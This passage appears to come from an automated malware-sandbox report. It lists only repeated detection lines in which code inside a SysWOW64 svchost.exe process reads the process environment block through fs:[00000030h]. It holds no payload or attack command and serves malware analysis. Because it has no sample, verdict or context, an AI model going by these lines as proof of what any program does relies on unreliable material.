Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D0634F mov eax, dword ptr fs:[00000030h]	2_2_03D0634F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CD437C mov eax, dword ptr fs:[00000030h]	2_2_03CD437C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6A30B mov eax, dword ptr fs:[00000030h]	2_2_03C6A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6A30B mov eax, dword ptr fs:[00000030h]	2_2_03C6A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6A30B mov eax, dword ptr fs:[00000030h]	2_2_03C6A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2C310 mov ecx, dword ptr fs:[00000030h]	2_2_03C2C310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C50310 mov ecx, dword ptr fs:[00000030h]	2_2_03C50310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D08324 mov eax, dword ptr fs:[00000030h]	2_2_03D08324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D08324 mov ecx, dword ptr fs:[00000030h]	2_2_03D08324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D08324 mov eax, dword ptr fs:[00000030h]	2_2_03D08324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D08324 mov eax, dword ptr fs:[00000030h]	2_2_03D08324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3A2C3 mov eax, dword ptr fs:[00000030h]	2_2_03C3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3A2C3 mov eax, dword ptr fs:[00000030h]	2_2_03C3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3A2C3 mov eax, dword ptr fs:[00000030h]	2_2_03C3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3A2C3 mov eax, dword ptr fs:[00000030h]	2_2_03C3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3A2C3 mov eax, dword ptr fs:[00000030h]	2_2_03C3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D062D6 mov eax, dword ptr fs:[00000030h]	2_2_03D062D6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C402E1 mov eax, dword ptr fs:[00000030h]	2_2_03C402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C402E1 mov eax, dword ptr fs:[00000030h]	2_2_03C402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C402E1 mov eax, dword ptr fs:[00000030h]	2_2_03C402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6E284 mov eax, dword ptr fs:[00000030h]	2_2_03C6E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6E284 mov eax, dword ptr fs:[00000030h]	2_2_03C6E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB0283 mov eax, dword ptr fs:[00000030h]	2_2_03CB0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB0283 mov eax, dword ptr fs:[00000030h]	2_2_03CB0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB0283 mov eax, dword ptr fs:[00000030h]	2_2_03CB0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC62A0 mov eax, dword ptr fs:[00000030h]	2_2_03CC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC62A0 mov ecx, dword ptr fs:[00000030h]	2_2_03CC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC62A0 mov eax, dword ptr fs:[00000030h]	2_2_03CC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC62A0 mov eax, dword ptr fs:[00000030h]	2_2_03CC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC62A0 mov eax, dword ptr fs:[00000030h]	2_2_03CC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC62A0 mov eax, dword ptr fs:[00000030h]	2_2_03CC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB8243 mov eax, dword ptr fs:[00000030h]	2_2_03CB8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB8243 mov ecx, dword ptr fs:[00000030h]	2_2_03CB8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D0625D mov eax, dword ptr fs:[00000030h]	2_2_03D0625D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2A250 mov eax, dword ptr fs:[00000030h]	2_2_03C2A250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C36259 mov eax, dword ptr fs:[00000030h]	2_2_03C36259
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CEA250 mov eax, dword ptr fs:[00000030h]	2_2_03CEA250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CEA250 mov eax, dword ptr fs:[00000030h]	2_2_03CEA250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C34260 mov eax, dword ptr fs:[00000030h]	2_2_03C34260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C34260 mov eax, dword ptr fs:[00000030h]	2_2_03C34260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C34260 mov eax, dword ptr fs:[00000030h]	2_2_03C34260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2826B mov eax, dword ptr fs:[00000030h]	2_2_03C2826B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE0274 mov eax, dword ptr fs:[00000030h]	2_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE0274 mov eax, dword ptr fs:[00000030h]	2_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE0274 mov eax, dword ptr fs:[00000030h]	2_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE0274 mov eax, dword ptr fs:[00000030h]	2_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE0274 mov eax, dword ptr fs:[00000030h]	2_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE0274 mov eax, dword ptr fs:[00000030h]	2_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE0274 mov eax, dword ptr fs:[00000030h]	2_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE0274 mov eax, dword ptr fs:[00000030h]	2_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE0274 mov eax, dword ptr fs:[00000030h]	2_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE0274 mov eax, dword ptr fs:[00000030h]	2_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE0274 mov eax, dword ptr fs:[00000030h]	2_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE0274 mov eax, dword ptr fs:[00000030h]	2_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2823B mov eax, dword ptr fs:[00000030h]	2_2_03C2823B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF61C3 mov eax, dword ptr fs:[00000030h]	2_2_03CF61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF61C3 mov eax, dword ptr fs:[00000030h]	2_2_03CF61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CAE1D0 mov eax, dword ptr fs:[00000030h]	2_2_03CAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CAE1D0 mov eax, dword ptr fs:[00000030h]	2_2_03CAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CAE1D0 mov ecx, dword ptr fs:[00000030h]	2_2_03CAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CAE1D0 mov eax, dword ptr fs:[00000030h]	2_2_03CAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CAE1D0 mov eax, dword ptr fs:[00000030h]	2_2_03CAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D061E5 mov eax, dword ptr fs:[00000030h]	2_2_03D061E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C601F8 mov eax, dword ptr fs:[00000030h]	2_2_03C601F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C70185 mov eax, dword ptr fs:[00000030h]	2_2_03C70185
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CEC188 mov eax, dword ptr fs:[00000030h]	2_2_03CEC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CEC188 mov eax, dword ptr fs:[00000030h]	2_2_03CEC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CD4180 mov eax, dword ptr fs:[00000030h]	2_2_03CD4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CD4180 mov eax, dword ptr fs:[00000030h]	2_2_03CD4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB019F mov eax, dword ptr fs:[00000030h]	2_2_03CB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB019F mov eax, dword ptr fs:[00000030h]	2_2_03CB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB019F mov eax, dword ptr fs:[00000030h]	2_2_03CB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB019F mov eax, dword ptr fs:[00000030h]	2_2_03CB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2A197 mov eax, dword ptr fs:[00000030h]	2_2_03C2A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2A197 mov eax, dword ptr fs:[00000030h]	2_2_03C2A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2A197 mov eax, dword ptr fs:[00000030h]	2_2_03C2A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC4144 mov eax, dword ptr fs:[00000030h]	2_2_03CC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC4144 mov eax, dword ptr fs:[00000030h]	2_2_03CC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC4144 mov ecx, dword ptr fs:[00000030h]	2_2_03CC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC4144 mov eax, dword ptr fs:[00000030h]	2_2_03CC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC4144 mov eax, dword ptr fs:[00000030h]	2_2_03CC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2C156 mov eax, dword ptr fs:[00000030h]	2_2_03C2C156
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC8158 mov eax, dword ptr fs:[00000030h]	2_2_03CC8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C36154 mov eax, dword ptr fs:[00000030h]	2_2_03C36154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C36154 mov eax, dword ptr fs:[00000030h]	2_2_03C36154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D04164 mov eax, dword ptr fs:[00000030h]	2_2_03D04164
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D04164 mov eax, dword ptr fs:[00000030h]	2_2_03D04164
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CDE10E mov eax, dword ptr fs:[00000030h]	2_2_03CDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CDE10E mov ecx, dword ptr fs:[00000030h]	2_2_03CDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CDE10E mov eax, dword ptr fs:[00000030h]	2_2_03CDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CDE10E mov eax, dword ptr fs:[00000030h]	2_2_03CDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CDE10E mov ecx, dword ptr fs:[00000030h]	2_2_03CDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CDE10E mov eax, dword ptr fs:[00000030h]	2_2_03CDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CDE10E mov eax, dword ptr fs:[00000030h]	2_2_03CDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CDE10E mov ecx, dword ptr fs:[00000030h]	2_2_03CDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CDE10E mov eax, dword ptr fs:[00000030h]	2_2_03CDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CDE10E mov ecx, dword ptr fs:[00000030h]	2_2_03CDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CDA118 mov ecx, dword ptr fs:[00000030h]	2_2_03CDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CDA118 mov eax, dword ptr fs:[00000030h]	2_2_03CDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CDA118 mov eax, dword ptr fs:[00000030h]	2_2_03CDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CDA118 mov eax, dword ptr fs:[00000030h]	2_2_03CDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF0115 mov eax, dword ptr fs:[00000030h]	2_2_03CF0115
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C60124 mov eax, dword ptr fs:[00000030h]	2_2_03C60124
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB20DE mov eax, dword ptr fs:[00000030h]	2_2_03CB20DE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2A0E3 mov ecx, dword ptr fs:[00000030h]	2_2_03C2A0E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C380E9 mov eax, dword ptr fs:[00000030h]	2_2_03C380E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB60E0 mov eax, dword ptr fs:[00000030h]	2_2_03CB60E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2C0F0 mov eax, dword ptr fs:[00000030h]	2_2_03C2C0F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C720F0 mov ecx, dword ptr fs:[00000030h]	2_2_03C720F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3208A mov eax, dword ptr fs:[00000030h]	2_2_03C3208A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C280A0 mov eax, dword ptr fs:[00000030h]	2_2_03C280A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC80A8 mov eax, dword ptr fs:[00000030h]	2_2_03CC80A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF60B8 mov eax, dword ptr fs:[00000030h]	2_2_03CF60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF60B8 mov ecx, dword ptr fs:[00000030h]	2_2_03CF60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C32050 mov eax, dword ptr fs:[00000030h]	2_2_03C32050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB6050 mov eax, dword ptr fs:[00000030h]	2_2_03CB6050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5C073 mov eax, dword ptr fs:[00000030h]	2_2_03C5C073
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB4000 mov ecx, dword ptr fs:[00000030h]	2_2_03CB4000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CD2000 mov eax, dword ptr fs:[00000030h]	2_2_03CD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CD2000 mov eax, dword ptr fs:[00000030h]	2_2_03CD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CD2000 mov eax, dword ptr fs:[00000030h]	2_2_03CD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CD2000 mov eax, dword ptr fs:[00000030h]	2_2_03CD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CD2000 mov eax, dword ptr fs:[00000030h]	2_2_03CD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CD2000 mov eax, dword ptr fs:[00000030h]	2_2_03CD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CD2000 mov eax, dword ptr fs:[00000030h]	2_2_03CD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CD2000 mov eax, dword ptr fs:[00000030h]	2_2_03CD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4E016 mov eax, dword ptr fs:[00000030h]	2_2_03C4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4E016 mov eax, dword ptr fs:[00000030h]	2_2_03C4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4E016 mov eax, dword ptr fs:[00000030h]	2_2_03C4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4E016 mov eax, dword ptr fs:[00000030h]	2_2_03C4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2A020 mov eax, dword ptr fs:[00000030h]	2_2_03C2A020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2C020 mov eax, dword ptr fs:[00000030h]	2_2_03C2C020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC6030 mov eax, dword ptr fs:[00000030h]	2_2_03CC6030
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3C7C0 mov eax, dword ptr fs:[00000030h]	2_2_03C3C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB07C3 mov eax, dword ptr fs:[00000030h]	2_2_03CB07C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C527ED mov eax, dword ptr fs:[00000030h]	2_2_03C527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C527ED mov eax, dword ptr fs:[00000030h]	2_2_03C527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C527ED mov eax, dword ptr fs:[00000030h]	2_2_03C527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CBE7E1 mov eax, dword ptr fs:[00000030h]	2_2_03CBE7E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C347FB mov eax, dword ptr fs:[00000030h]	2_2_03C347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C347FB mov eax, dword ptr fs:[00000030h]	2_2_03C347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CD678E mov eax, dword ptr fs:[00000030h]	2_2_03CD678E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C307AF mov eax, dword ptr fs:[00000030h]	2_2_03C307AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE47A0 mov eax, dword ptr fs:[00000030h]	2_2_03CE47A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6674D mov esi, dword ptr fs:[00000030h]	2_2_03C6674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6674D mov eax, dword ptr fs:[00000030h]	2_2_03C6674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6674D mov eax, dword ptr fs:[00000030h]	2_2_03C6674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C30750 mov eax, dword ptr fs:[00000030h]	2_2_03C30750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CBE75D mov eax, dword ptr fs:[00000030h]	2_2_03CBE75D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72750 mov eax, dword ptr fs:[00000030h]	2_2_03C72750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72750 mov eax, dword ptr fs:[00000030h]	2_2_03C72750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB4755 mov eax, dword ptr fs:[00000030h]	2_2_03CB4755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C38770 mov eax, dword ptr fs:[00000030h]	2_2_03C38770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40770 mov eax, dword ptr fs:[00000030h]	2_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40770 mov eax, dword ptr fs:[00000030h]	2_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40770 mov eax, dword ptr fs:[00000030h]	2_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40770 mov eax, dword ptr fs:[00000030h]	2_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40770 mov eax, dword ptr fs:[00000030h]	2_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40770 mov eax, dword ptr fs:[00000030h]	2_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40770 mov eax, dword ptr fs:[00000030h]	2_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40770 mov eax, dword ptr fs:[00000030h]	2_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40770 mov eax, dword ptr fs:[00000030h]	2_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40770 mov eax, dword ptr fs:[00000030h]	2_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40770 mov eax, dword ptr fs:[00000030h]	2_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40770 mov eax, dword ptr fs:[00000030h]	2_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6C700 mov eax, dword ptr fs:[00000030h]	2_2_03C6C700
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C30710 mov eax, dword ptr fs:[00000030h]	2_2_03C30710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C60710 mov eax, dword ptr fs:[00000030h]	2_2_03C60710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6C720 mov eax, dword ptr fs:[00000030h]	2_2_03C6C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6C720 mov eax, dword ptr fs:[00000030h]	2_2_03C6C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6273C mov eax, dword ptr fs:[00000030h]	2_2_03C6273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6273C mov ecx, dword ptr fs:[00000030h]	2_2_03C6273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6273C mov eax, dword ptr fs:[00000030h]	2_2_03C6273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CAC730 mov eax, dword ptr fs:[00000030h]	2_2_03CAC730
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6A6C7 mov ebx, dword ptr fs:[00000030h]	2_2_03C6A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6A6C7 mov eax, dword ptr fs:[00000030h]	2_2_03C6A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CAE6F2 mov eax, dword ptr fs:[00000030h]	2_2_03CAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CAE6F2 mov eax, dword ptr fs:[00000030h]	2_2_03CAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CAE6F2 mov eax, dword ptr fs:[00000030h]	2_2_03CAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CAE6F2 mov eax, dword ptr fs:[00000030h]	2_2_03CAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB06F1 mov eax, dword ptr fs:[00000030h]	2_2_03CB06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB06F1 mov eax, dword ptr fs:[00000030h]	2_2_03CB06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C34690 mov eax, dword ptr fs:[00000030h]	2_2_03C34690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C34690 mov eax, dword ptr fs:[00000030h]	2_2_03C34690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6C6A6 mov eax, dword ptr fs:[00000030h]	2_2_03C6C6A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C666B0 mov eax, dword ptr fs:[00000030h]	2_2_03C666B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4C640 mov eax, dword ptr fs:[00000030h]	2_2_03C4C640
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF866E mov eax, dword ptr fs:[00000030h]	2_2_03CF866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF866E mov eax, dword ptr fs:[00000030h]	2_2_03CF866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6A660 mov eax, dword ptr fs:[00000030h]	2_2_03C6A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6A660 mov eax, dword ptr fs:[00000030h]	2_2_03C6A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C62674 mov eax, dword ptr fs:[00000030h]	2_2_03C62674
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CAE609 mov eax, dword ptr fs:[00000030h]	2_2_03CAE609
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4260B mov eax, dword ptr fs:[00000030h]	2_2_03C4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4260B mov eax, dword ptr fs:[00000030h]	2_2_03C4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4260B mov eax, dword ptr fs:[00000030h]	2_2_03C4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4260B mov eax, dword ptr fs:[00000030h]	2_2_03C4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4260B mov eax, dword ptr fs:[00000030h]	2_2_03C4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4260B mov eax, dword ptr fs:[00000030h]	2_2_03C4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4260B mov eax, dword ptr fs:[00000030h]	2_2_03C4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72619 mov eax, dword ptr fs:[00000030h]	2_2_03C72619
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4E627 mov eax, dword ptr fs:[00000030h]	2_2_03C4E627
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C66620 mov eax, dword ptr fs:[00000030h]	2_2_03C66620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C68620 mov eax, dword ptr fs:[00000030h]	2_2_03C68620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3262C mov eax, dword ptr fs:[00000030h]	2_2_03C3262C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6E5CF mov eax, dword ptr fs:[00000030h]	2_2_03C6E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6E5CF mov eax, dword ptr fs:[00000030h]	2_2_03C6E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C365D0 mov eax, dword ptr fs:[00000030h]	2_2_03C365D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6A5D0 mov eax, dword ptr fs:[00000030h]	2_2_03C6A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6A5D0 mov eax, dword ptr fs:[00000030h]	2_2_03C6A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5E5E7 mov eax, dword ptr fs:[00000030h]	2_2_03C5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5E5E7 mov eax, dword ptr fs:[00000030h]	2_2_03C5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5E5E7 mov eax, dword ptr fs:[00000030h]	2_2_03C5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5E5E7 mov eax, dword ptr fs:[00000030h]	2_2_03C5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5E5E7 mov eax, dword ptr fs:[00000030h]	2_2_03C5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5E5E7 mov eax, dword ptr fs:[00000030h]	2_2_03C5E5E7
